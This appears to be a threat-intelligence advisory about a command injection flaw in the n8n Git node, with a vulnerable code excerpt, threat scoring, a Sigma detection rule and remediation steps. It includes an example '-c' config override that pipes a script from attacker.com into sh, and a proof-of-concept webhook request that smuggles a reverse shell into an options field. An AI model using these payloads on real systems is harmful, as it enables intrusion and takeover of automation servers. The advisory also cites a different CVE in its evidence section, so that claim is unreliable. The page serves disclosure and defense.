CVE-2026-85168: Git Node Merge-Driver & Content-Filter Command Injection in n8n

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: n8n Automation Platform (n8n-nodes-base.git (Git Node))

Confidence: 98%

89 / 100

HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 19 / 20

Threat Activity 18 / 20

Weaponization 18 / 20

Exposure 18 / 20

Prevalence 17 / 20

Impact 17 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 18 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 8.8 (High). Hermes Threat Score assesses it at 89 (HIGH). Because n8n orchestrations frequently integrate CI/CD and production environments with elevated access keys, arbitrary command execution within the n8n runner container poses an immediate privilege escalation and lateral movement risk.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-85168: Git Node Merge-Driver & Content-Filter Command Injection in n8nVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTn8n Workflow Automation

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in n8n Workflow Automation documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

1. Technical Context & Affected Matrix

Parameter	Technical Specification	Threat Context
CVE Identifier	`CVE-2026-85168`	Frontier AI / MCP Threat Landscape
Target Product	`n8n Automation Platform`	`n8n GmbH`
Subsystem / Component	`n8n-nodes-base.git (Git Node)`	Autonomous agent tool & orchestration stack
Flaw Type	`CWE-78: OS Command Injection`	Execution and integrity violation
Affected Versions	`prior to 1.123.73, 2.0.0 through 2.35.3, 2.36.0 through 2.36.1`	Production deployments
Remediation Release	`1.123.73, 2.35.4, 2.36.2`	Immediate upgrade required

2. In-Depth Technical Decomposition

Vulnerability Root Cause

The n8n Git node invokes Git operations via child processes using simple-git. When handling custom parameters such as repository URLs, branch names, or extra configuration arguments, the parameters were passed directly into the command arguments array without validating against malicious Git configuration overrides (-c).

// Vulnerable implementation in packages/nodes-base/nodes/Git/Git.node.ts
const gitOptions: string[] = [];
if (this.getNodeParameter('extraOptions', i, '')) {
    gitOptions.push(...(this.getNodeParameter('extraOptions', i) as string).split(' '));
}
await git.clone(repoUrl, targetPath, gitOptions);

By supplying an extraOptions string or repository URL containing -c filter.hermes.clean="curl http://attacker.com/rev.sh|sh" or -c merge.driver="sh -c '...'"", the attacker forces Git to spawn an external binary as part of its internal smudge/clean pipeline during checkout.

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-85168 ATTACK LIFECYCLE FLOW                                             |
+----------------------------------------------------------------------------------------------------+

   [Adversary / Prompt Injection]
          │
          │ [1] Dispatches payload targeting tool interface or orchestration hook
          ▼
   [n8n Automation Platform]
          │
          ├───► 1. Ingestion via n8n-nodes-base.git (Git Node)
          │     - Inadequate sanitization or permission callback failure
          │
          ├───► 2. Execution / State Mutation
          │     - Escapes sandbox / bypasses read-only guard / executes OS command
          │
          ▼
   [Impacted Target Infrastructure]
          │
          └───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

3. Proof of Concept & Payload Dissection

# PoC: Triggering command injection via git clone extra options parameter
curl -X POST "https://n8n.internal.corp/webhook/git-sync" \
  -H "Content-Type: application/json" \
  -d '{
    "repoUrl": "https://github.com/legit-org/docs.git",
    "branch": "main",
    "extraOptions": "-c core.fsmonitor=\"bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\""
  }'

4. Detection Engineering & Telemetry

Sigma Detection Rule

title: n8n Git Node Arbitrary Command Execution
id: 85168c02-e168-4a1b-9f23-n8ngitcmd01
status: high
description: Detects command execution spawned by n8n worker processes invoking git with custom fsmonitor, merge-driver or filter configurations.
author: Hermes Codex Detection Engineering
date: 2026-09-05
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    ParentImage|endswith:
      - '/node'
      - '/n8n'
    Image|endswith: '/git'
    CommandLine|contains:
      - 'core.fsmonitor'
      - 'filter.'
      - 'merge.'
      - '-c '
  condition: selection
falsepositives:
  - Legitimate automated developer tooling with specialized filter configurations.
level: critical

5. Remediation & Operational Playbook

Apply Software Patches: Upgrade n8n Automation Platform to version(s) 1.123.73, 2.35.4, 2.36.2 immediately.
Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.